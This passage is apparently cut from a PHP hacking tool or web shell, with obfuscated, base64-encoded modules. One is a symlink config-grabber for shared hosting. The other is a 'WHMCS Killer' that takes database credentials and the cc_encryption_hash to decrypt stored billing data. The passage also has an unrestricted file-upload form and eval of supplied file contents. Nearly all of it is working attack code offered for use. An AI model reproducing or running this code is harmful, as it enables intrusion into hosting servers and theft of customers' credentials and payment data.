ZmlnPSAkd3BsOwp9CmVsc2VpZiAoc3RycG9zKCR3cDEyLCAiMjAwIikgPT0gdHJ1ZSkKewogICRj b25maWc9ICR3cDI7Cn0KZWxzZWlmIChzdHJwb3MoJHdwMTMsICIyMDAiKSA9PSB0cnVlKQp7CiAg JGNvbmZpZz0gJHdwMzsKfQplbHNlCnsKY29udGludWU7Cgp9CmZsdXNoKCk7CgovLy8vLy8vLy8v Ly8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8v Ly8vLy8vLy8vLy8vLy8vLy8vCgokZG9tID0gJGRvbXN3c1sxXVswXTsKCiR3ID0gZndyaXRlKCRm LCIkY29uZmlnfHwkZG9tIFxuIik7CmlmKCR3KXskciA9ICc8YiBzdHlsZT0iY29sb3I6ICMwMDY2 MDAiPlNhdmU8L2I+Jzt9ZWxzZXskciA9ICc8YiBzdHlsZT0iY29sb3I6cmVkIj5mYWlsZWQ8L2I+ Jzt9CgoKZWNobyAiPHRyPjx0ZD48YSBocmVmPWh0dHA6Ly93d3cuIi4kZG9tc3dzWzFdWzBdLiI+ Ii4kZG9tc3dzWzFdWzBdLiI8L2E+PC90ZD4KPHRkPjxhIGhyZWY9JyRjb25maWcnPmNvbmZpZzwv YT48L3RkPjx0ZD4iLiRyLiI8L3RkPjwvdHI+IjsKCgoKCgpmbHVzaCgpOwoKCn0KfQp9Cn0KCgoK CgoKCgpicmVhazsKCmNhc2UgJ2hlbHAnOgoKZWNobyAiPGRpdiBjbGFzcz0ndG1wJz4KPHRhYmxl IGFsaWduPSdjZW50ZXInIHdpZHRoPSc0MCUnPjx0ZD5mdW5jdGlvbjwvdGQ+PHRkPkNhc2U8L3Rk PiI7CgoKJHNhZmVfbW9kZSA9IGluaV9nZXQoJ3NhZmVfbW9kZScpOwogICAgIGlmKCRzYWZlX21v ZGUpeyRyID0gIjxiIHN0eWxlPSdjb2xvcjogcmVkJz5GYWxzZTwvYj4iO31lbHNleyRyID0gIjxi IHN0eWxlPSdjb2xvcjogIzMzNjYwMCc+VHJ1ZTwvYj4iO30KCmVjaG8gIjx0cj48dGQ+U2FmZSBN b2RlPC90ZD48dGQ+JHI8L3RkPiI7CgokZnVuID0gZnVuY3Rpb25fZXhpc3RzKCdzeW1saW5rJyk7 CiAgICAgaWYoISRmdW4peyRyID0gIjxiIHN0eWxlPSdjb2xvcjogcmVkJz5GYWxzZTwvYj4iO31l bHNleyRyID0gIjxiIHN0eWxlPSdjb2xvcjogIzMzNjYwMCc+VHJ1ZTwvYj4iO30KCmVjaG8gIjx0 cj48dGQ+ZnVuY3Rpb24gc3ltbGluazwvdGQ+PHRkPiRyPC90ZD4iOwoKCiRmdW4gPSBmdW5jdGlv bl9leGlzdHMoJ2ZpbGUnKTsKICAgICBpZighJGZ1bil7JHIgPSAiPGIgc3R5bGU9J2NvbG9yOiBy ZWQnPkZhbHNlPC9iPiI7fWVsc2V7JHIgPSAiPGIgc3R5bGU9J2NvbG9yOiAjMzM2NjAwJz5UcnVl PC9iPiI7fQoKZWNobyAiPHRyPjx0ZD5mdW5jdGlvbiBmaWxlPC90ZD48dGQ+JHI8L3RkPiI7Cgok ZnVuID0gZnVuY3Rpb25fZXhpc3RzKCdmaWxlX2dldF9jb250ZW50cycpOwogICAgIGlmKCEkZnVu KXskciA9ICI8YiBzdHlsZT0nY29sb3I6IHJlZCc+RmFsc2U8L2I+Ijt9ZWxzZXskciA9ICI8YiBz dHlsZT0nY29sb3I6ICMzMzY2MDAnPlRydWU8L2I+Ijt9CgplY2hvICI8dHI+PHRkPmZ1bmN0aW9u IGZpbGVfZ2V0X2NvbnRlbnRzPC90ZD48dGQ+JHI8L3RkPiI7CgokZnVuID0gZnVuY3Rpb25fZXhp c3RzKCdta2RpcicpOwogICAgIGlmKCEkZnVuKXskciA9ICI8YiBzdHlsZT0nY29sb3I6IHJlZCc+ RmFsc2U8L2I+Ijt9ZWxzZXskciA9ICI8YiBzdHlsZT0nY29sb3I6ICMzMzY2MDAnPlRydWU8L2I+ Ijt9CgplY2hvICI8dHI+PHRkPmZ1bmN0aW9uIG1rZGlyPC90ZD48dGQ+JHI8L3RkPiI7CgoKJGZ1 biA9IGlzX2Rpcignc3ltL3Jvb3QnKTsKICAgICBpZighJGZ1bil7JHIgPSAiPGIgc3R5bGU9J2Nv bG9yOiByZWQnPkZhbHNlPC9iPiI7fWVsc2V7JHIgPSAiPGIgc3R5bGU9J2NvbG9yOiAjMzM2NjAw Jz5UcnVlPC9iPiI7fQoKZWNobyAiPHRyPjx0ZD5QZXJtaXNzaW9uIGRlbmllZDwvdGQ+PHRkPiRy PC90ZD4iOwoKCiRmdW4gPSBwcmVnX21hdGNoKCcvRm9yYmlkZGVuLycsQGZpbGVfZ2V0X2NvbnRl bnRzKCdzeW0vcm9vdCcpIG9yICFAZmlsZV9nZXRfY29udGVudHMoJ3N5bS9yb290JykpOwogICAg IGlmKCRmdW4peyRyID0gIjxiIHN0eWxlPSdjb2xvcjogcmVkJz5GYWxzZTwvYj4iO31lbHNleyRy ID0gIjxiIHN0eWxlPSdjb2xvcjogIzAwNjYwMCc+VHJ1ZTwvYj4iO30KCmVjaG8gIjx0cj48dGQ+ Rm9yYmlkZGVuPC90ZD48dGQ+JHI8L3RkPiI7CgoKCgplY2hvICI8L3RhYmxlPjwvZGl2PiI7CgoK CmJyZWFrOwpkZWZhdWx0OgpoZWFkZXIoIkxvY2F0aW9uOiAkcGciKTsKCgoKCn0KCgovLy8gaG9t ZSAvLy8KfWVsc2UKewoKCmVjaG8gJzxiciAvPjxiciAvPjxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9 InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG5hbWU9InVwbG9hZGVyIiBpZD0i dXBsb2FkZXIiPic7CmVjaG8gJzxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlIiB2YWx1ZT0i Q2hvb3NlIGZpbGUiIHNpemU9IjYwIiA+PGlucHV0IG5hbWU9Il91cGwiIHR5cGU9InN1Ym1pdCIg aWQ9Il91cGwiIHZhbHVlPSJVcGxvYWQiPjwvZm9ybT4nOwppZiggJF9QT1NUWydfdXBsJ10gPT0g IlVwbG9hZCIgKSB7CglpZihAY29weSgkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ10sICRfRklM RVNbJ2ZpbGUnXVsnbmFtZSddKSkgeyBlY2hvICc8YnIgLz48YnIgLz48Yj5VcGxvYWRlZCBzdWNj ZXNzZnVsICEhPGJyPjxicj4nOyB9CgllbHNlIHsgZWNobyAnPGJyIC8+PGJyIC8+Tm90IHVwbG9h ZGVkICEhPGJyPjxicj4nOyB9CgoKfQoKICAgIGVjaG8gJwo8YnIgLz48YnIgLz48YnIgLz48L2I+ PC9iPjxkaXYgY2xhc3M9ImZvdCI+Q29kM2QgYnkgPGI+UzNuNHQwMHI8L2I+IElkZWEgYnkgPGI+ TXIuQWxzYTNlazwvYj4KPGJyIC8+PGJyIC8+CjxiIHN0eWxlPSJjb2xvcjogcmVkIjs+ICAgU2Vj LXcuQ29tICA8L2I+CjxiciAvPjxiciAvPgpNdXNsaW1zIEhhY2tlcnM8L2Rpdj4gJzsKCn0KCgpm dW5jdGlvbiBleCgkdGV4dCwkYSwkYil7CiRleHBsb2RlID0gZXhwbG9kZSgkYSwkdGV4dCk7CiRl eHBsb2RlID0gZXhwbG9kZSgkYiwkZXhwbG9kZVsxXSk7CnJldHVybiAkZXhwbG9kZVswXTsKfQoK CgplY2hvICc8L2Rpdj4KCjxhIHN0eWxlPSJ0ZXh0LWRlY29yYXRpb246IG5vbmU7IGNvbG9yOiAj RjRGNEY0OyIgdGl0bGU9IlwnRC1FXCdKRyIvaHJlZj0iaHR0cDovL3NlYy13LmNvbS9jYyI+XCdE LUVcJ0pHPC9hPgoKPGEgc3R5bGU9InRleHQtZGVjb3JhdGlvbjogbm9uZTsgY29sb3I6ICNGNEY0 RjQ7IiB0aXRsZT0iOVwnREUgXCdELUVcJ0pHIi9ocmVmPSJodHRwOi8vc2VjLXcuY29tL2NjIj45 XCdERSBcJ0QtRVwnSkc8L2E+CgoKCjwvYm9keT4KCjwvaHRtbD4KJzsKCj8+'; file_put_contents('symlink.php',base64_decode($symlink1));; echo "Here symlink.php
"; }elseif($_POST[tool]=='whmcs'){ $whm = 'whmcs'; mkdir ('whmcs'); chdir ('whmcs'); $whmdns = 'PD9waHAKLyoqCioKKiBAIG9wYUBob3RtYWlsLmNvbQoqIEAgQnkgTXIuRG00ciAKKiBAIGh0dHA6 Ly9ob3RtLWlsLmNvbQoqCiovCgpmdW5jdGlvbiBsb2dpbigpewplY2hvKCJcbjxjZW50ZXI+XG48 Zm9udCBjb2xvcj1cIiNGRkZGNkZGXCIgc2l6ZT1cIiAzXCI+WyB+fiBXSE1DUyBLaWxsZXIgfn4g XTwvZm9udD48YnI+PGJyPlxuXG48L2NlbnRlcj5cbjxicj5cbjxjZW50ZXI+XG5cbjxmb250IGNv bG9yPVwiIzAwNjZGRlwiIHNpemU9XCIrMlwiPkRCIGNvbmZpZ3VyYXRpb24gb2YgV0hNQ1M8L2Zv bnQ+PGJyPlxuPC9jZW50ZXI+XG48Rk9STSBhY3Rpb249XCJcIiAgbWV0aG9kPVwicG9zdFwiPlxu PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwiZm9ybV9hY3Rpb25cIiB2YWx1ZT1cIjFcIj5c bjxicj5cbjx0YWJsZSBib3JkZXI9MT5cblxuPHRyPjx0ZD5kYl9ob3N0IDwvdGQ+PHRkPjxpbnB1 dCB0eXBlPVwidGV4dFwiIHNpemU9XCI2MFwiIG5hbWU9XCJkYl9ob3N0XCIgdmFsdWU9XCIiLiRf Q09PS0lFWyJkYl9ob3N0Il0uIlwiPjwvdGQ+PC90cj5cbjx0cj48dGQ+ZGJfdXNlcm5hbWUgPC90 ZD48dGQ+PGlucHV0IHR5cGU9XCJ0ZXh0XCIgc2l6ZT1cIjYwXCIgbmFtZT1cImRiX3VzZXJuYW1l XCIgdmFsdWU9XCIiLiRfQ09PS0lFWyJkYl91c2VybmFtZSJdLiJcIj48L3RkPjwvdHI+XG48dHI+ PHRkPmRiX3Bhc3N3b3JkPC90ZD48dGQ+PGlucHV0IHR5cGU9XCJ0ZXh0XCIgc2l6ZT1cIjYwXCIg bmFtZT1cImRiX3Bhc3N3b3JkXCIgdmFsdWU9XCIiLiRfQ09PS0lFWyJkYl9wYXNzd29yZCJdLiJc Ij48L3RkPjwvdHI+XG48dHI+PHRkPmRiX25hbWU8L3RkPjx0ZD48aW5wdXQgdHlwZT1cInRleHRc IiBzaXplPVwiNjBcIiBuYW1lPVwiZGJfbmFtZVwiIHZhbHVlPVwiIi4kX0NPT0tJRVsiZGJfbmFt ZSJdLiJcIj48L3RkPjwvdHI+XG48dHI+PHRkPmNjX2VuY3J5cHRpb25faGFzaDwvdGQ+PHRkPjxp bnB1dCB0eXBlPVwidGV4dFwiIHNpemU9XCI2MFwiIG5hbWU9XCJjY19lbmNyeXB0aW9uX2hhc2hc IiB2YWx1ZT1cIiIuJF9DT09LSUVbImNjX2VuY3J5cHRpb25faGFzaCJdLiJcIj48L3RkPjwvdHI+ XG5cblxuPC90YWJsZVxuPGJyPlxuPElOUFVUIGNsYXNzPXN1Ym1pdCB0eXBlPVwic3VibWl0XCIg dmFsdWU9XCJTdWJtaXRcIiBuYW1lPVwiU3VibWl0XCI+XG48L0ZPUk0+XG5cblxuPGZvbnQgY29s b3I9XCIjMDA2NkZGXCIgPlN5bWxpbmsgdG8gY29uZmlndXJhdGlvbi5waHAgb2YgV0hNQ1M8L2Zv bnQ+PGJyPlxuPC9jZW50ZXI+XG4KPEZPUk0gYWN0aW9uPVwiXCIgIG1ldGhvZD1cInBvc3RcIj5c bjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cImZvcm1fYWN0aW9uXCIgdmFsdWU9XCIyXCI+ XG4KPGJyPlxuIDxpbnB1dCB0eXBlPVwidGV4dFwiIHNpemU9XCIzMFwiIG5hbWU9XCJmaWxlXCIg dmFsdWU9XCJcIj5cbjxicj5cbjxJTlBVVCBjbGFzcz1zdWJtaXQgdHlwZT1cInN1Ym1pdFwiIHZh bHVlPVwiU3VibWl0XCIgbmFtZT1cIlN1Ym1pdFwiPlxuPC9GT1JNPlxuXG48aHI+XG48Y2VudGVy PiA8Zm9udCBjb2xvcj1cIiNGRkZGNkZGXCIgc2l6ZT1cIiAxXCI+ICAgQ29kZWQgQnkgUkFCM09V TiB2LmItNFtAXWhvdG1haWwuY29tICAgIDwvZm9udD48YnI+PGJyPiA8Y2VudGVyPlxuIik7Cn0K JHh1b255dWVwbm89ImNoYXJzIjsKJHVkZndlZmZveHB5dT0idG1wX2l2IjsKJHBrbXNvdmNtZWk9 Im51bSI7CiRjZHZpYmJpeHhzbnY9Imhhc2giOwokY21jeHNhZnBpcWlzPSJ0bXAiOwokd2xmbHF1 cHlob2s9Imhhc2hfa2V5IjsKJGV2cGdtZj0iaXYiOwokcm1yeGN3eXljZD0ic3RyaW5nIjsKJGti bGljdG1laXU9Im91dCI7CiRydGl2am52YXV1PSJjIjsKJGlibXRtcWVkbj0iaGFzaF9sZW5ndGgi OwokZGF0enNibGh6aGY9ImNjX2VuY3J5cHRpb25faGFzaCI7CiRteHdxbG1saz0ia2V5IjsKZnVu Y3Rpb24gZGVjcnlwdCgkc3RyaW5nLCRjY19lbmNyeXB0aW9uX2hhc2gpeyRuem5pa3RrcHptZj0i b3V0IjsKJGNoZmNyYmJ5PSJjIjsKJGloZGNrd2Jscj0iY2NfZW5jcnlwdGlvbl9oYXNoIjsKJHFm eGtsbW09Imhhc2hfbGVuZ3RoIjsKJHN5YmxsdGY9ImMiOwokbXh3cWxtbGs9bWQ1KG1kNSgkaWhk Y2t3YmxyKSkubWQ1KCRkYXR6c2JsaHpoZik7CiRteWtuZGpicnJmPSJzdHJpbmciOwokb2pyY2tt Z2g9Imhhc2hfa2V5IjsKJHRtZXJ4b3Y9InN0cmluZyI7CiRlZnBkanJ3eD0ic3RyaW5nIjsKJHRp eHdua2Y9Iml2IjsKJG9qcmNrbWdoPV9oYXNoKCRteHdxbG1sayk7CiRpYm10bXFlZG49c3RybGVu KCR3bGZscXVweWhvayk7CiR4b2Z4Z3hsZWU9InN0cmluZyI7CiR0bWVyeG92PWJhc2U2NF9kZWNv ZGUoJHJtcnhjd3l5Y2QpOwokdWRmd2VmZm94cHl1PXN1YnN0cigkcm1yeGN3eXljZCwwLCRpYm10 bXFlZG4pOwokeyR4b2Z4Z3hsZWV9PXN1YnN0cigkeyRlZnBkanJ3eH0sJGlibXRtcWVkbixzdHJs ZW4oJHJtcnhjd3l5Y2QpLSRpYm10bXFlZG4pOwokZXZwZ21mPSRrYmxpY3RtZWl1PSIiOwokY2hm Y3JiYnk9MDsKd2hpbGUoJHJ0aXZqbnZhdXU8JHFmeGtsbW0pewokbG9jb3NuaHloeGU9InRtcF9p diI7CiRibHZ2eWt0bmlsZT0iaGFzaF9rZXkiOwokcXN2eXhxb21qdz0iYyI7CiRldnBnbWYuPWNo cihvcmQoJGxvY29zbmh5aHhlWyRxc3Z5eHFvbWp3XSleb3JkKCR7JGJsdnZ5a3RuaWxlfVskcnRp dmpudmF1dV0pKTsKJGp4ZXh4Y3Jlb3l1PSJjIjsKICAkanhleHhjcmVveXU7Cn0kbXh3cWxtbGs9 JHskdGl4d25rZn07CiRydGl2am52YXV1PTA7CndoaWxlKCR7JHN5YmxsdGZ9PHN0cmxlbigkeyRt eWtuZGpicnJmfSkpeyR4dGt5cW5rPSJjIjsKaWYoKCR4dGt5cW5rIT0wIEFORCRydGl2am52YXV1 JSRpYm10bXFlZG49PTApKXskcnJ3YnRieGdpanM9Imhhc2hfbGVuZ3RoIjsKJHdrY2pldWhzbnI9 Im91dCI7CiRnamJoaXNydXZzamc9ImMiOwokdXJxYm9lbXRtZD0ia2V5IjsKJHR0eGRidmRqPSJr ZXkiOwokdHR4ZGJ2ZGo9X2hhc2goJHskdXJxYm9lbXRtZH0uc3Vic3RyKCR3a2NqZXVoc25yLCRn amJoaXNydXZzamctJHskcnJ3YnRieGdpanN9LCRpYm10bXFlZG4pKTsKfSRyZmJlaGRuPSJzdHJp bmciOwokc2htbnR5eGxrPSJjIjsKJGtibGljdG1laXUuPWNocihvcmQoJG14d3FsbWxrWyRydGl2 am52YXV1JSRpYm10bXFlZG5dKV5vcmQoJHJmYmVoZG5bJHskc2htbnR5eGxrfV0pKTsKICAkcnRp dmpudmF1dTsKfXJldHVybiRuem5pa3RrcHptZjsKfWZ1bmN0aW9uIF9oYXNoKCRzdHJpbmcpeyRt Y3ZrcXA9Im91dCI7CiRnaXVjdWR5aHM9ImMiOwppZihmdW5jdGlvbl9leGlzdHMoInNoYTEiKSl7 JHNubGhiY2hkdmk9InN0cmluZyI7CiRjZHZpYmJpeHhzbnY9c2hhMSgkeyRzbmxoYmNoZHZpfSk7 Cn1lbHNleyRqa296Z3Z0ZnFyPSJzdHJpbmciOwokY2R2aWJiaXh4c252PW1kNSgkeyRqa296Z3Z0 ZnFyfSk7Cn0kbmlmZWN4cj0iYyI7CiRtY3ZrcXA9IiI7CiR7JGdpdWN1ZHloc309MDsKd2hpbGUo JG5pZmVjeHI8c3RybGVuKCRjZHZpYmJpeHhzbnYpKXskY3Jhb2RxbGE9ImMiOwokYXFzY25waHV2 Y2FnPSJoYXNoIjsKJHhld2x6Y2htaXI9Im91dCI7CiR4ZXdsemNobWlyLj1jaHIoaGV4ZGVjKCRj ZHZpYmJpeHhzbnZbJHJ0aXZqbnZhdXVdLiRhcXNjbnBodXZjYWdbJHskY3Jhb2RxbGF9KzFdKSk7 CiRydGl2am52YXV1ID0yOwp9cmV0dXJuJGtibGljdG1laXU7Cn1mdW5jdGlvbiByYW5kb210KCl7 JHFqb3B4ZGRlPSJjaGFycyI7CiRvY29ncW9zbnBnPSJpIjsKJHFqb3B4ZGRlPSJhYmNkZWZnaGlq a21ub3BxcnN0dXZ3eHl6MDIzNDU2Nzg5IjsKc3JhbmQoKGRvdWJsZSltaWNyb3RpbWUoKSoxMDAw MDAwKTsKJHskb2NvZ3Fvc25wZ309MDsKJHZndnh6Z3dnb3o9InBhc3MiOwokcGh4Y2JleWU9InBh c3MiOwokdmd2eHpnd2dvej0iIjsKJGhpb3Rta3VicnB5PSJpIjsKd2hpbGUoJGhpb3Rta3VicnB5 PD03KXskaG9rb2Zwb3R5dm89Im51bSI7CiRzcXhhZmlwZmlmPSJwYXNzIjsKJHZ0ZW92dXY9InBh c3MiOwokcGttc292Y21laT1yYW5kKDMpOwokY21jeHNhZnBpcWlzPXN1YnN0cigkeHVvbnl1ZXBu bywkaG9rb2Zwb3R5dm8sMSk7CiRyYmt5ZWQ9ImkiOwokdnRlb3Z1dj0keyRzcXhhZmlwZmlmfS4k Y21jeHNhZnBpcWlzOwokeyRyYmt5ZWR9ICA7Cn1yZXR1cm4kcGh4Y2JleWU7Cn0kaHdsam52YmVm YT0iZmllbGRudW0iOwokdG5wZ3hrdXFmbWk9InJvdyI7CiR4dGNsZnF5aXJzdT0icXEiOwokbHp5 bWhmY2poPSJhZGRyZXNzMSI7CiRpa3plZ3NodXViPSJ0b3RhbF9wYWdlcyI7CiRka3dtYXRidHhn PSJwYXNzIjsKJGdjeHV5cGxiaWx2eT0icXVlcnkiOwokY2l2bXFsdnd5PSJxdWVyeSI7CiRiYmJ3 eWptPSJxdWVyeTEiOwokcmV1Z3R3eWxpPSJkYl91c2VybmFtZSI7CiRtb3VreGZmY3M9InRvdGFs X3JlY29yZHMiOwokendwcW95dXZ2bHFoPSJpIjsKJHdldWZ4a2R3aGpycz0icXVlcnkyIjsKJHhv ZnBwZXB2dD0icGFnZSI7CiRpbHhqeXh6cXQ9InAiOwokeXhxbXVmeG5xY3M9InRvdGFsX3BhZ2Vz IjsKJG5pZWNuZWp3Zm15PSJkYl9ob3N0IjsKJHNiZXNqYmF1PSJ2IjsKJG9vcGRoZmZrPSJ0YWJs ZXMiOwokaGpndWhjcXg9ImRiX25hbWUiOwpAc2V0X3RpbWVfbGltaXQoMCk7CiRkc2Vlbnl4ZT0i dG90YWxfcmVjb3JkcyI7CiRkdGVldXR4PSJhdXRoIjsKJG55ZW1kcmFiPSJsaXN0X3RpZDAiOwok Y3hvanVpanZoa2U9ImRiX3VzZXJuYW1lIjsKJGtvbGdvcWY9ImRiX25hbWUiOwokbW92bXhyb2Ru bT0icXEiOwoka3Bub3J3PSJ2YWx1ZSI7CiRwb2JkbHQ9InEiOwokYmJ4dnNyPSJ0cnlDaGFuaW5n SW5mbyI7CiR0cmZ4ZWtlaT0icCI7CiRkZGtqcXZ5Z25lPSJzZW5kIjsKJHlwaXJucnlncT0icXEi OwokaGFqZWlyPSJpIjsKJGFwZnZzZWdkcT0idnYiOwokYW94aml2PSJ0cnlDaGFuaW5nIjsKJGhv bHBwZHp4aD0icyI7CiRpd2drd3p4b2c9ImkiOwokcmJmbnF1bmVjd3RrPSJ0b3RhbF9wYWdlcyI7 CiRpaGJtYWk9ImxpbmsiOwokb3lndHRoaj0iZmlsZSI7CiR5dGN3bmN1ZnlnbT0iaGVhZGVyIjsK b2Jfc3RhcnQoKTsKJGtxa3ZjbHhlc3A9InF1ZXJ5IjsKJG9oa2dubXY9InBhZ2UiOwokd2V4cmlq Ynl0bHM9InBhZ2UiOwokbWpqYXZzbGs9ImRvIjsKJHd4bHZzYXl2bD0icXEiOwokamVvZHRnbGlx bndvPSJ1c2VyZmlsZV90bXAiOwokd2hpY3hqPSJ0eXBlIjsKJG10ZXVlcmk9ImRiX2hvc3QiOwok d2JuYmxwYXVrcT0icXEiOwokeWpncWx4a3Fxej0icSI7CiRkeHVwYmlvPSJxIjsKJHJtbGR0c2t4 Zj0iY2NoYXNoIjsKJGZibW9vdGZ6eWVlcD0icGFnZSI7CiRsaW10dnloeT0idG90YWxfcGFnZXMi OwokcHV1dXVuc249InEiOwokb3NraWZnbT0icXEiOwokeGlxeW52d3N1bz0idG90YWxfcmVjb3Jk cyI7CiRkeG11cWh3cWV0bnM9InEiOwokd3ZsYmplPSJ0b3RhbF9wYWdlcyI7CiRubHliY2hqPSJ2 IjsKJGtodW1pcnM9InFxIjsKJGJ4aGhndmZvd2NlPSJxcSI7CiR5aHJsc3B0PSJ0b3RhbF9yZWNv cmRzIjsKJGFsaXN2bG92PSJ0ZXh0IjsKJGlwbHlrbnlxeGV5PSJ0b3RhbF9yZWNvcmRzIjsKJHhw Z2NwaWNidms9InRleHRyIjsKJGdwdHR2cXY9Imxpc3RfdGlkIjsKJGd2c2NiZ3ZzPSJkYl9wYXNz d29yZCI7CiRxcnFxcXhvZnZwej0iaSI7CiRxbmdhbnVoZnd0eWg9InYyIjsKJG1qb2N3dnY9Imxp c3RfdGlkIjsKJHZicG1naXljbT0ibGluayI7CmlmKCRkdGVldXR4PT0xKXskdGllZGdpd2VraT0i dXNlciI7CmlmKCFpc3NldCgkX1NFUlZFUlsiUEhQX0FVVEhfVVNFUiJdKXx8bWQ1KCRfU0VSVkVS WyJQSFBfQVVUSF9VU0VSIl0pIT09JHRpZWRnaXdla2l8fG1kNSgkX1NFUlZFUlsiUEhQX0FVVEhf UFciXSkhPT0kZGt3bWF0YnR4Zyl7aGVhZGVyKCJXV1ctQXV0aGVudGljYXRlOiBCYXNpYyByZWFs bT1cIlBvd2VyZWQgQnkgUkFCM09VTlwiIik7CmhlYWRlcigiSFRUUC8xLjAgNDAxIFVuYXV0aG9y aXplZCIpOwpleGl0KCJHbyBUbyBIZWxsIik7Cn19JHpjbnVlY2ViPSJtYXhmaWxlIjsKJGhoZWln Zm5lcGQ9InNxbCI7CiRvZXFlenhveGNtYmI9InJlc3VsdCI7CiRlc3drYnc9InEiOwokdW9vY21o bnNkPSJqIjsKJGdtemRlY2JsPSJkYl9wYXNzd29yZCI7CiRxaHdnbmRhPSJkYl9uYW1lIjsKJHRo cXdmcmhveHlvPSJkYl9ob3N0IjsKJGlseGp5eHpxdD0kX0dFVFsicCJdOwokZGxzaWJpY2Zua2c9 InNpemUiOwokaGVqdndybHp2aWd6PSJwIjsKaWYoJF9QT1NUWyJmb3JtX2FjdGlvbiJdPT0xKXtz ZXRjb29raWUoImRiX2hvc3QiLCRfUE9TVFsiZGJfaG9zdCJdKTsKc2V0Y29va2llKCJkYl91c2Vy bmFtZSIsJF9QT1NUWyJkYl91c2VybmFtZSJdKTsKc2V0Y29va2llKCJkYl9wYXNzd29yZCIsJF9Q T1NUWyJkYl9wYXNzd29yZCJdKTsKc2V0Y29va2llKCJkYl9uYW1lIiwkX1BPU1RbImRiX25hbWUi XSk7CnNldGNvb2tpZSgibG9naW4iLCIxIik7CnNldGNvb2tpZSgiY2NfZW5jcnlwdGlvbl9oYXNo IiwkX1BPU1RbImNjX2VuY3J5cHRpb25faGFzaCJdKTsKZWNobyI8aDE+RG9uZSA6IENvbm5lY3Rp b24gU3VjY2Vzc2Z1bGx5XG4gICAgICAgIDwvaDE+IjsKZWNobygiICAgICA8bWV0YSBodHRwLWVx dWl2PSdyZWZyZXNoJyBjb250ZW50PScxO1VSTD0/cD0xMDMnIC8+Iik7Cn0kc3FnY2hyeHdsPSJ2 IjsKJGd1bnNubHdmcT0icXEiOwokdmhmc2NlYmlsaj0icXEiOwokd3hhbHZucXR6ej0idGQiOwok d3dlcGJ3eD0ic3RhcnRfZnJvbSI7CmlmKCRfUE9TVFsiZm9ybV9hY3Rpb24iXT09Mil7JGlmenBv ZGdhY3M9ImZpbGUiOwokY2NpemJ4dHJkYnRoPSJ0ZXh0IjsKJGZ2bXhpd2FpYz0iZGJfcGFzc3dv cmQiOwokaG1zcXZqcnhvdmo9InRleHQiOwokcXFidnRvZm1xaj0idGV4dCI7CiRpZnpwb2RnYWNz PSgkX1BPU1RbImZpbGUiXSk7CiR7JGNjaXpieHRyZGJ0aH09ZmlsZV9nZXRfY29udGVudHMoJG95 Z3R0aGopOwokYnNubmhqcD0idGV4dCI7CiR6Y2hlamt1bXg9ImRiX2hvc3QiOwokYWxpc3Zsb3Y9 c3RyX3JlcGxhY2UoIjw/cGhwIiwiIiwkYWxpc3Zsb3YpOwokeyRic25uaGpwfT1zdHJfcmVwbGFj ZSgiPD8iLCIiLCR7JGhtc3F2anJ4b3ZqfSk7CiRhbGlzdmxvdj1zdHJfcmVwbGFjZSgiPz4iLCIi LCR7JHFxYnZ0b2ZtcWp9KTsKZXZhbCgkYWxpc3Zsb3YpOwpzZXRjb29raWUoImRiX2hvc3QiLCR7 JHpjaGVqa3VteH0pOwpzZXRjb29raWUoImRiX3VzZXJuYW1lIiwkY3hvanVpanZoa2UpOwpzZXRj b29raWUoImRiX3Bhc3N3b3JkIiwkZnZteGl3YWljKTsKc2V0Y29va2llKCJkYl9uYW1lIiwkcWh3 Z25kYSk7CnNldGNvb2tpZSgibG9naW4iLCIxIik7CnNldGNvb2tpZSgiY2NfZW5jcnlwdGlvbl9o YXNoIiwkZGF0enNibGh6aGYpOwplY2hvIkRvbmUgOiBDb25uZWN0aW9uIFN1Y2Nlc3NmdWxseVxu ICAgICAgICAiOwplY2hvKCIgICAgIDxtZXRhIGh0dHAtZXF1aXY9J3JlZnJlc2gnIGNvbnRlbnQ9 JzE7ClVSTD0/cD0xMDMnIC8+Iik7Cn0kdnB2dWxwbGw9InRvdGFsX3JlY29yZHMiOwokeXRjd25j dWZ5Z209IjxodG1sPlxuPHRpdGxlPldobWNzIEtpbGxlciBDb2RlZCBieSBSQUIzT1VOPC90aXRs ZT5cbjxoZWFkPlxuPHN0eWxlPlxuXG5ib2R5XG57XG5cdGJhY2tncm91bmQ6ICMwZjBlMGQ7Clxu XHRjb2xvcjogI0ZGOTkzMzsKXG5cblx0cGFkZGluZzogMHB4O1xuXG59XG5hOmxpbmssIGJvZHlf YWxpbmtcbntcblx0Y29sb3I6ICNGRjk5MzM7ClxuXHR0ZXh0LWRlY29yYXRpb246IG5vbmU7XG59 XG5hOnZpc2l0ZWQsIGJvZHlfYXZpc2l0ZWRcbntcblx0Y29sb3I6ICNGRjk5MzM7ClxuXHR0ZXh0 LWRlY29yYXRpb246IG5vbmU7ClxufVxuYTpob3ZlciwgYTphY3RpdmUsIGJvZHlfYWhvdmVyXG57 XG5cdGNvbG9yOiAjRkZGRkZGO1xuXHR0ZXh0LWRlY29yYXRpb246IG5vbmU7XG59XG50ZCwgdGgs IHAsIGxpLHRhYmxlXG57XG5cdFxuXHRiYWNrZ3JvdW5kOiAjMmUyYjI4O1xuXHRib3JkZXI6MXB4 IHNvbGlkICM1MjRmNDY7ClxufVxuXG5pbnB1dFxue1xuXHRib3JkZXI6IDFweCBzb2xpZDsKXG5c blx0Y3Vyc29yOiBkZWZhdWx0Owpcblx0XG5cdG92ZXJmbG93OiBoaWRkZW47ClxuXHRiYWNrZ3Jv dW5kOiAjMmUyYjI4O1xuXHRjb2xvcjogI2ZmZmZmZjsKXG59XG48L3N0eWxlPlxuPC9oZWFkPlxu PGJvZHkgYmdjb2xvcj1ibGFjayBhbGluaz1cIiMzM0NDMDBcIiB2bGluaz1cIiNGRjk5MzNcIiBs aW5rPVwiI0ZGOTkzM1wiPiI7CmlmKCR7JGhlanZ3cmx6dmlnen0pZWNobygkeXRjd25jdWZ5Z20p OwokY2FibmxkcXE9InEiOwokYmZocWxvZHFjaT0icSI7CiRoZnJyaXBlcXc9InBhZ2UiOwokemhv 